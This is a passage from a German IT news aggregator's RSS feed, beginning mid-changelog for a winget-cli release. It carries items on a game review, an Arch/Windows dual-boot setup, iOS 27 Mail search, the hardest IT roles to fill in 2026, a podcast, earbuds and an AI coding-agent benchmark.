<li>Add DSC resource list to manifest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3839410468" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5997" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5997/hovercard" href="https://github.com/microsoft/winget-cli/pull/5997">#5997</a></li>
<li>Add command builder with escaped user input by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmelBawa-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmelBawa-msft">@AmelBawa-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3817973099" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5982" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5982/hovercard" href="https://github.com/microsoft/winget-cli/pull/5982">#5982</a></li>
<li>Add missing closing brace in settings.export.schema.0.1.json by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DuckDuckStudio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DuckDuckStudio">@DuckDuckStudio</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3853198617" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6004" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6004/hovercard" href="https://github.com/microsoft/winget-cli/pull/6004">#6004</a></li>
<li>Turn off PWSH UT build in Fuzzing and ReleaseStatic for all platforms by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmelBawa-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmelBawa-msft">@AmelBawa-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3857311162" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6005" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6005/hovercard" href="https://github.com/microsoft/winget-cli/pull/6005">#6005</a></li>
<li>Remove experimental feature gate on source edit by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3857921476" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6006" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6006/hovercard" href="https://github.com/microsoft/winget-cli/pull/6006">#6006</a></li>
<li>Update ReleaseNotes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862674095" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6007" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6007/hovercard" href="https://github.com/microsoft/winget-cli/pull/6007">#6007</a></li>
<li>Make list details stable (1.28) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3889711357" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6021" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6021/hovercard" href="https://github.com/microsoft/winget-cli/pull/6021">#6021</a></li>
<li>Move to IReference rather than custom enum for optional bool (1.28) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893659251" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6024" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6024/hovercard" href="https://github.com/microsoft/winget-cli/pull/6024">#6024</a></li>
<li>Apply latest localization patch (1.28) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893720482" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6025" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6025/hovercard" href="https://github.com/microsoft/winget-cli/pull/6025">#6025</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mohiuddin-khan-shiam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mohiuddin-khan-shiam">@mohiuddin-khan-shiam</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3186146724" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5564" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5564/hovercard" href="https://github.com/microsoft/winget-cli/pull/5564">#5564</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doterik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doterik">@doterik</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3725749076" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5924" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5924/hovercard" href="https://github.com/microsoft/winget-cli/pull/5924">#5924</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.11.400...v1.28.240"><tt>v1.11.400...v1.28.240</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Skull Horde Review (PC)]]></title>
<description><![CDATA[As we play those large, AAA games, we always feel the need to take a break from all the complex storylines. And games like Skull Horde are the perfect distraction. It’s an auto-fight dungeon crawler that I found very intense, yet inherently fun and with a ton of cool gameplay mechanics.

The fact...]]></description>
<link>https://tsecurity.de/de/3601191/it-security-nachrichten/skull-horde-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601191/it-security-nachrichten/skull-horde-review-pc/</guid>
<pubDate>Tue, 16 Jun 2026 11:08:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As we play those large, AAA games, we always feel the need to take a break from all the complex storylines. And games like Skull Horde are the perfect distraction. It’s an auto-fight dungeon crawler that I found very intense, yet inherently fun and with a ton of cool gameplay mechanics.

The fact that our main character is a skull tells you everything you need to know about the game. It’s not meant to be a very serious, 50-hour long RPG. Instead, it’s similar to titles like Vampire Survivors where you have a lot of automatic systems designed to make the gameplay easier, but still intense and fun.

At its core, the idea is quite simple in Skull Horde. You are a floating skull commander, and you create a tiny bone army near you, with a variety of skills. Those soldiers will be there to fight and die for you. As you play, you will get cudat coins that can be used to reroll squad members or purchase them and corpuscles blood, which can be used to improve your stats.

Lik...]]></content:encoded>
</item>
<item>
<title><![CDATA[Modern Arch Linux and Windows 7 Duel Boot in the same exact NTFS partition]]></title>
<description><![CDATA[Using the newest Linux in kernel NTFS driver Custom manual mapping of POSIX ACL and Windows ACL for filesystem permission Using GRUB (BIOS) as bootloader for both OS Sync both Home/User directory with native symlink (not windows .lnk shortcut)  Notes: If there are unexpected shutdown, systemd wil...]]></description>
<link>https://tsecurity.de/de/3600778/linux-tipps/modern-arch-linux-and-windows-7-duel-boot-in-the-same-exact-ntfs-partition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600778/linux-tipps/modern-arch-linux-and-windows-7-duel-boot-in-the-same-exact-ntfs-partition/</guid>
<pubDate>Tue, 16 Jun 2026 08:02:18 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><ul> <li>Using the newest Linux in kernel NTFS driver</li> <li>Custom manual mapping of POSIX ACL and Windows ACL for filesystem permission</li> <li>Using GRUB (BIOS) as bootloader for both OS</li> <li>Sync both Home/User directory with native symlink (not windows .lnk shortcut)</li> </ul> <p>Notes: If there are unexpected shutdown, systemd will refuse to boot and throw emergency shell. You need to boot into Windows and do filesystem repair</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/VanillaWaffle_"> /u/VanillaWaffle_ </a> <br> <span><a href="https://i.redd.it/d4j6acbfjk7h1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1u731wl/modern_arch_linux_and_windows_7_duel_boot_in_the/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Finally Fixes The Broken Mail Search In The iOS 27 Update]]></title>
<description><![CDATA[Finding an old email on an iPhone has been a long standing problem for many users. The built in search often fails to pull up the exact message you need. Apple recently acknowledged this ongoing issue and decided to build a completely new foundation for finding files on its devices. When the high...]]></description>
<link>https://tsecurity.de/de/3599851/ios-mac-os/apple-finally-fixes-the-broken-mail-search-in-the-ios-27-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599851/ios-mac-os/apple-finally-fixes-the-broken-mail-search-in-the-ios-27-update/</guid>
<pubDate>Mon, 15 Jun 2026 19:29:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Finding an old email on an iPhone has been a long standing problem for many users. The built in search often fails to pull up the exact message you need. Apple recently acknowledged this ongoing issue and decided to build a completely new foundation for finding files on its devices. When the highly anticipated iOS 27 software rolls out later this year, it will finally repair the unreliable search feature inside the default email app.



A new system index searches for intent rather than keywords



To solve the missing email problem, the company threw out the old local cache that Apple Mail leaned on for so long. The upcoming update brings a permanent, on device catalog that actually understands what sits in your inbox. This rebuilt setup is a lot more stable and helps index both old and new messages. It also powers the search upgrades you will see across Spotlight and Photos.



When you look for something in the mail app on iOS, a new Expanded Search Results banner will appear. This just means the system is trying to figure out what you actually mean, rather than demanding an exact word match. If you type the word dentist, the app brings up messages from your dental clinic even if the office did not type that specific word in the message body.



The app also changes how it ranks your results. Instead of just showing you the newest messages first, the system puts the most relevant emails at the very top. By moving away from simple keyword matching to actual relevance, the upgraded search ensures you spend far less time digging through a crowded inbox to locate important information.]]></content:encoded>
</item>
<item>
<title><![CDATA[The 11 hardest IT roles to fill in 2026 — and what’s changed]]></title>
<description><![CDATA[These days, hiring a specialist is relatively easy — a SOC analyst, an ML researcher, a cloud architect. Those requisitions close in weeks. What stays open for six to nine months are hybrid roles: engineers fluent in AI who can go deep in code and also understand the business. “Three skills, one ...]]></description>
<link>https://tsecurity.de/de/3598737/it-nachrichten/the-11-hardest-it-roles-to-fill-in-2026-and-whats-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3598737/it-nachrichten/the-11-hardest-it-roles-to-fill-in-2026-and-whats-changed/</guid>
<pubDate>Mon, 15 Jun 2026 12:17:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>These days, hiring a specialist is relatively easy — a SOC analyst, an ML researcher, a cloud architect. Those requisitions close in weeks. What stays open for six to nine months are hybrid roles: engineers fluent in AI who can go deep in code and also understand the business. “Three skills, one person, small pool,” says <a href="https://www.linkedin.com/in/nealsample/" rel="nofollow">Neal Sample</a>, chief digital and technology officer at Best Buy. “These hybrids are the future of IT — and are hard to find right now.”</p>



<p>Two years after AI leapfrogged cybersecurity as the most difficult IT skill to hire for in CIO.com’s State of the CIO survey, the top of the list hasn’t budged. AI/machine learning and cybersecurity are now tied as the hardest roles to fill, according to the <a href="https://us.resources.cio.com/resources/state-of-the-cio/" rel="nofollow">2026 State of the CIO survey</a>, with data science and analytics close behind. But while the rankings look familiar, the nature of the talent crunch has shifted. The hunt for LLM engineers and prompt specialists has given way to demand for people who can operationalize AI at scale, govern its risks, and wield it effectively without blindly trusting it.</p>



<p>Meanwhile, risk management has climbed into the top five for the first time, while business/IT automation is holding steady near the top. And pressure has eased on roles that dominated just a few years ago: cloud architecture has dropped, and <a href="https://www.cio.com/article/3951133/remember-when-developers-reigned-supreme-the-market-for-software-coding-goes-soft.html">application development has fallen off</a> the list entirely as AI tools reshape what developers actually do.</p>



<p>“The most challenging roles are anything that needs to be bundled with AI,” says <a href="https://www.linkedin.com/in/nielnickolaisen/" rel="nofollow">Niel Nickolaisen</a>, IT advisor and field CTO at Valcom Technologies. Security analysts who can use AI to improve cyber posture while bad actors sharpen their attacks. Software engineers skilled at using AI platforms to design, build, and deploy. “There are simply not yet enough of these people available,” Nickolaisen says.</p>



<p><strong>Hardest-to-fill IT roles: 2026 vs. 2024</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skill</td><td>2026 rank</td><td>2024 rank</td><td>Change</td></tr><tr><td>AI/machine learning</td><td>#1 (tie)</td><td>#1</td><td>Steady</td></tr><tr><td>Cybersecurity</td><td>#1 (tie)</td><td>#2</td><td>Rising</td></tr><tr><td>Data science/analytics</td><td>#3</td><td>#3</td><td>Steady</td></tr><tr><td>Business/IT automation</td><td>#4</td><td>#4 (tie)</td><td>Steady</td></tr><tr><td>Risk management</td><td>#5</td><td>#8 (tie)</td><td>Rising</td></tr><tr><td>Software engineering</td><td>#6 (tie)</td><td>#6 (tie)</td><td>Steady</td></tr><tr><td>DevOps/DevSecOps</td><td>#6 (tie)</td><td>#11 (tie)</td><td>Rising</td></tr><tr><td>Enterprise architecture</td><td>#8 (tie)</td><td>#10 (tie)</td><td>Rising</td></tr><tr><td>Cloud services/integration</td><td>#8 (tie)</td><td>#12 (tie)</td><td>Rising</td></tr><tr><td>Cloud architecture</td><td>#8 (tie)</td><td>#6 (tie)</td><td>Falling</td></tr><tr><td>Design thinking/UX</td><td>#8 (tie)</td><td>#15 (tie)</td><td>Rising</td></tr></tbody></table> </div></figure>



<p><em> Source: Foundry/CIO.com State of the CIO Survey, 2024 and 2026</em></p>



<h2 class="wp-block-heading">AI hiring grows up</h2>



<p>IT leaders seeking LLM expertise can take heart in the fact that the frenzy around LLM engineers has eased. “Prompt engineering as a standalone job title was a short-lived fad,” Best Buy’s Sample says. “Today, it’s a baseline skill.”</p>



<p>But what most organizations are looking for now is different: AI product engineers who can stand up agents, build testing frameworks, manage the cost-latency-quality triangle, and deploy AI at scale. They’re also trying to fill <a href="https://www.cio.com/article/4137022/new-it-roles-emerge-to-tackle-ai-evaluation.html">governance</a> and <a href="https://www.csoonline.com/article/4029862/how-ai-red-teams-find-hidden-flaws-before-attackers-do.html">red-team</a> roles that didn’t exist on anyone’s org chart three years ago.</p>



<p>“The center of gravity moved from people who build models to people who wield them,” Sample says. “That’s a very different resume.”</p>



<p>Gen AI and LLM tools have become intuitive enough that the skills organizations need have evolved toward more agentic AI and less prompt engineering. “We need people who understand workflows, process simplification, and can work with an agent platform to automate work and tasks,” says Nickolaisen of Valcom Technologies. “I expect this will change over the next year or two as the agent platforms get more intuitive. We can then focus our reskilling on how to make agents more autonomous.”</p>



<p>The challenge is that AI is evolving so rapidly — and being invested in by everyone from cloud providers to the startup ecosystem — that experience at one company may not translate to another, and what someone learned six months ago may already be outdated.</p>



<p>“Best to look for people with a broad understanding and ability to consume market shifts constantly happening,” says <a href="https://www.linkedin.com/in/scotthicar/" rel="nofollow">Scott Hicar</a>, a fractional technology leader focused on the private equity market.</p>



<h2 class="wp-block-heading">Cybersecurity: A skills crisis, not a headcount crisis</h2>



<p>Cybersecurity’s rise to share the top spot with AI reflects more than just demand. It also signals a fundamental shift in the challenges organizations face.</p>



<p>Six in 10 organizations now say skills gaps outweigh staffing shortages as their primary workforce challenge, according to the 2026 <a href="https://www.sans.org/white-papers/2026-cybersecurity-workforce-research-report" rel="nofollow">SANS/GIAC Cybersecurity Workforce Report</a>, a 20-point shift from just a year ago. And the consequences are measurable: 27% of cybersecurity leaders surveyed report breaches directly tied to capability gaps, while 61% say that team stress has increased over the past two years.</p>



<p>The skills scarcity isn’t at the entry level; it’s at the senior architect tier. “People who can make a good security trade-off under real constraints, rather than read a dashboard, are hard to find,” Best Buy’s Sample says. “Those people are naming their price.”</p>



<p>The strain on security teams is compounding. Attack surfaces have expanded with every SaaS addition, API, and agent deployed. Cyber adversaries are using the same AI tools as defenders. Security teams are burning out.</p>



<p>Nickolaisen frames it in operational terms: “Cyber with AI is the biggest need because it’s the most near-term threat. If the bad guys can use vibe programming to build an attack in less than an hour and revise it in minutes, I need to be able to respond and modify my response in near real-time.”</p>



<p>The SANS research found that 74% of organizations say AI is already impacting the size of their cybersecurity teams and the roles within them. SOC and security analysts are the roles most likely to be cut as AI reshapes security teams, and these are <a href="https://www.csoonline.com/article/4058190/ai-is-altering-entry-level-cyber-hiring-and-the-nature-of-the-skills-gap.html">precisely the entry-level positions</a> where the next generation of cybersecurity leaders traditionally learned their craft. At the same time, new roles are emerging, including AI/ML security specialists, AI security engineers, and AI governance analysts.</p>



<h2 class="wp-block-heading">The rise of ‘second-order’ AI skills</h2>



<p>Automation and risk management skills have both climbed into the State of the CIO’s top five hardest-to-fill roles for the first time — and they’re rising for the same reason.</p>



<p>“AI blew out the surface area,” says Sample of Best Buy. “Every agent you deploy is a new automation and a new risk, and most governance, risk, and compliance (GRC) and ops functions weren’t designed for that pace.”</p>



<p>With automation, the need isn’t for more RPA developers; that work has become a commodity. Organizations need people who can <a href="https://www.cio.com/article/4157466/cios-reimagine-business-processes-to-reap-ai-benefits.html">look at a process and decide what to automate</a>, what to retire, and what to redesign. “That’s three jobs welded together,” Sample says. “Business analyst, process engineer, and technologist. Anyone who does all three well is rare — and expensive.”</p>



<p>The shift from chatbots to agents is driving much of this demand for automation talent. “The first wave of agents won’t invent new tasks; they’ll replace how existing work gets done,” says <a href="https://www.linkedin.com/in/ameyakanitkar/" rel="nofollow">Ameya Kanitkar</a>, co-founder and CTO at AI measurement platform Larridin. “Enterprises are rearchitecting critical business workflows around fully or semi-autonomous agentic flows, and the demand for people who can build and operate these is massive.” The catch, he says, is that it requires an uncommon combination: understanding how systems work and how the business runs.</p>



<p>Risk management presents a similar challenge. GRC functions built for SOX and PCI compliance aren’t necessarily optimized for model risk, prompt injection, or third-party AI exposure. “We’re hiring for a discipline that’s maybe five years old, against a job description that’s twenty years old,” Sample says. “That gap is the problem.”</p>



<p>One capability that’s grown more critical is <a href="https://www.csoonline.com/article/4002765/third-party-risk-management-is-broken-but-not-beyond-repair.html">third-party risk management</a>. “With AI being embedded in most of what we purchase and use, [the question becomes] do I need both more people and a better-governed process to assess the AI that comes from third parties?” says Nickolaisen of Valcom Technologies.</p>



<p><a href="https://www.linkedin.com/in/jamesstanger/" rel="nofollow">Dr. James Stanger</a>, chief technology evangelist at CompTIA, notes that risk management requires a different mindset than many technical workers bring to the table. “You’ve got to know your technical stuff, but you have to understand the business use of the technical stuff — otherwise you’re addressing technology, not risk,” he says.</p>



<h2 class="wp-block-heading">The midlevel squeeze</h2>



<p>AI coding tools and low-code platforms haven’t reduced the demand for software engineers, but they’ve changed its shape. A strong engineer with good AI tooling now produces roughly what three engineers did just a few years ago. “The squeeze is on the middle tier: the people whose day job was wiring APIs together,” Sample says.</p>



<p>Engineering hiring is bifurcating, says Larridin’s Kanitkar: strong demand for experienced leaders who bring judgment and ownership, and for junior talent that’s AI-native from day one. “The squeeze is in the middle,” he says. “People coasting on midlevel execution are finding themselves on the wrong side of the job market.”</p>



<p>AI tools are pushing engineers to think more like architects. “At one time, the industry was looking for IT ‘plumbers’ who could code,” CompTIA’s Stanger says. “Now the industry is demanding people who can think architecturally and in terms of risk and privacy. We don’t need keyboard code punchers; we need proactive designers who use AI to model potential performance issues.”</p>



<p>For DevOps specifically, a consolidation is under way. “Platform engineering is the growth role,” Sample says. “The generic DevOps engineer title is being absorbed into platform or site reliability engineering (SRE), and I don’t think it survives the next few years as a distinct function.”</p>



<h2 class="wp-block-heading">Cloud has stabilized</h2>



<p>Cloud roles have become easier to fill. Already visible in 2024, the trend has only continued.<strong></strong></p>



<p>Most organizations have reached a cloud steady-state, says Valcom Technologies’ Nickolaisen. “Unless something big changes, we have our public, private, and on-prem workloads,” he says. “The skills of my system administration teams are adequate to support that.”</p>



<p>Training programs have caught up with cloud, Stanger notes — though he adds it’s hard to say exactly why the pressure has eased.</p>



<p>“Cloud has matured into a real profession,” Sample adds, “and more people have done it at scale for many years now.”</p>



<p>Some cloud specialties remain hard to fill: FinOps, regulated-industry migrations, and reverse migrations. And certain workloads are coming back on-prem. “Especially AI inference, where the unit economics in cloud can be brutal at scale,” Sample says. “That’s shifting the skill mix again, and nobody’s resume says, ‘I can move workloads off the cloud intelligently.’”</p>



<h2 class="wp-block-heading">What’s working to close the gap</h2>



<p>If there’s one point of agreement among IT leaders, it’s this: Upskilling and internal mobility are more effective than external hiring in terms of speed, cost, and retention.</p>



<p>“Our most productive AI engineers in 2025 were not hired as AI engineers,” says Best Buy’s Sample. “They were strong software engineers, upskilled with good internal training and real projects.”</p>



<p>Outside expertise offers less advantage than it used to. AI has moved so fast that contractors aren’t necessarily ahead of internal teams, according to Nickolaisen. “Once my teams are over the initial hump and embrace AI, their skills develop quickly,” he says.</p>



<p>The key is trust. “Assure the teams that we will not use the resulting productivity to get rid of people, and it’s amazing what can be done to accelerate the delivery of value,” says Nickolaisen.</p>



<p>One change that dramatically expanded Best Buy’s talent pool was to stop treating AI hiring as a separate pipeline. “We hire engineers, then we introduce them to our take on AI,” Sample says. “That one reframe opened a pool at least 10 times larger and gave us better output.”</p>



<p>Stanger advocates cross-skilling, apprenticeship-based mentoring, and pathway-based learning — tactics that focus on building capabilities rather than checking off credential boxes.</p>



<p>“Instead of the tired, old, pedigree-based lens that asks, ‘Where is your four-year degree from,’ the most progressive hiring institutions are now asking, ‘What are your skillsets, and where can you take us with them?’” says Stanger.</p>



<p>Chasing the latest job titles carries risk. “The prompt engineer hiring wave of 2023 — those roles aged out in eighteen months, and the people who took them are reskilling now,” Sample says. “Hiring a job title rather than a capability has a short shelf life. That lesson is already repeating with agentic AI in some places. It won’t age better the second time.”</p>



<h2 class="wp-block-heading">Soft market, hard problem</h2>



<p>The tech hiring market is sluggish, driven by uncertainty about AI-driven job displacement, economic conditions, and what Nickolaisen characterizes as “pretty much everything in our lives.” But for the skills that matter most, the competition remains fierce.</p>



<p>“The next couple of years are critical,” Kanitkar says. “This is when the separation happens.” The frontier moves every day, which means the gap between IT organizations that master the shift and those that resist it will only widen.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4661: Laptop Computer Woes, or How I Learned to Love My Tech Hoarding]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.

    
      
        Blog post: https://claudiomiranda.wordpress.com/2026/05/19/laptop-computer-woes-or-how-i-learned-to-love-my-tech-hoarding/
      
        HP ProBook 4540s specifications: https://support.hp.com/au-en/product/product-specs/hp-pr...]]></description>
<link>https://tsecurity.de/de/3597786/podcasts/hpr4661-laptop-computer-woes-or-how-i-learned-to-love-my-tech-hoarding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597786/podcasts/hpr4661-laptop-computer-woes-or-how-i-learned-to-love-my-tech-hoarding/</guid>
<pubDate>Mon, 15 Jun 2026 02:04:37 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

    <ul>
      <li>
        Blog post: <a href="https://claudiomiranda.wordpress.com/2026/05/19/laptop-computer-woes-or-how-i-learned-to-love-my-tech-hoarding/">https://claudiomiranda.wordpress.com/2026/05/19/laptop-computer-woes-or-how-i-learned-to-love-my-tech-hoarding/</a></li>
      <li>
        HP ProBook 4540s specifications: <a href="https://support.hp.com/au-en/product/product-specs/hp-probook-4540s-notebook-pc/">https://support.hp.com/au-en/product/product-specs/hp-probook-4540s-notebook-pc/</a></li>
      <li>
        Tonymacx86 forum post on the 1920x1080 screen upgrade for the
        ProBook 4540s: <a href="https://www.tonymacx86.com/threads/4540s-lcd-screen-1080p-replacement.88212/">https://www.tonymacx86.com/threads/4540s-lcd-screen-1080p-replacement.88212/</a></li>
      <li>
        Panelook.com link to the LG156WF1 screen variants: <a href="https://www.panelook.com/modelsearch.php?keyword=LP156WF1&amp;search_id=1839426">https://www.panelook.com/modelsearch.php?keyword=LP156WF1&amp;search_id=1839426</a></li>
      <li>
        HP ProBook 4540s teardown and screen upgrade video by JSnake
        Repair: <a href="https://youtu.be/3ceZ1m7JFYw?t=1252">https://youtu.be/3ceZ1m7JFYw?t=1252</a></li>
    </ul>
    <p>
    </p>
    <p>
      <a href="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_1.jpeg">
        <img src="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_1_tn.jpeg">
      </a>
    </p>
    <p>
      <a href="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_2.jpeg">
        <img src="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_2_tn.jpeg">
      </a>
    </p>
    <p>
      <a href="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_3.jpeg">
        <img src="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_3_tn.jpeg">
      </a>
    </p>
    <p>
      <a href="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_4.jpeg">
        <img src="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_4_tn.jpeg">
      </a>
    </p>
    <p>
      <a href="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_5.jpeg">
        <img src="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_5_tn.jpeg">
      </a>
    </p>
    <p>
      <a href="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_6.jpeg">
        <img src="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_6_tn.jpeg">
      </a>
    </p>
    <p>
      <a href="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_7.jpeg">
        <img src="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_7_tn.jpeg">
      </a>
    </p>
    <p>
      <a href="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_8.jpeg">
        <img src="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_8_tn.jpeg">
      </a>
    </p>
    <p>
      <a href="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_9.jpeg">
        <img src="https://hackerpublicradio.org/eps/hpr4661/hpr4661_image_9_tn.jpeg">
      </a>
    </p>
    <p>
    </p><p><a href="https://hackerpublicradio.org/eps/hpr4661/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Suunto Spark Review: The Perfect Pair for Runs and Rides]]></title>
<description><![CDATA[Suunto swaps bone for air conduction, giving these open-ear earbuds a perfect fit for the great outdoors.]]></description>
<link>https://tsecurity.de/de/3596903/it-nachrichten/suunto-spark-review-the-perfect-pair-for-runs-and-rides/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3596903/it-nachrichten/suunto-spark-review-the-perfect-pair-for-runs-and-rides/</guid>
<pubDate>Sun, 14 Jun 2026 12:32:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Suunto swaps bone for air conduction, giving these open-ear earbuds a perfect fit for the great outdoors.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI coding agents find the right file but miss the exact lines that matter, study shows]]></title>
<description><![CDATA[AI coding agents like Claude Code or Codex reliably find the right file but miss most of the critical lines within it. The new SWE-Explore benchmark is the first to test code search separately from the actual repair, and it shows that without enough context, even the best fix will fail.
The artic...]]></description>
<link>https://tsecurity.de/de/3596813/ai-nachrichten/ai-coding-agents-find-the-right-file-but-miss-the-exact-lines-that-matter-study-shows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3596813/ai-nachrichten/ai-coding-agents-find-the-right-file-but-miss-the-exact-lines-that-matter-study-shows/</guid>
<pubDate>Sun, 14 Jun 2026 11:04:02 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1047" src="https://the-decoder.com/wp-content/uploads/2026/06/swe-explore-nano-banana-pro.jpg" class="attachment-full size-full wp-post-image" alt="A neon-colored code editor with highlighted code blocks and a magnifying glass in a crosshair, symbolizing code analysis and search." decoding="async" fetchpriority="high"></p>
<p>        AI coding agents like Claude Code or Codex reliably find the right file but miss most of the critical lines within it. The new SWE-Explore benchmark is the first to test code search separately from the actual repair, and it shows that without enough context, even the best fix will fail.</p>
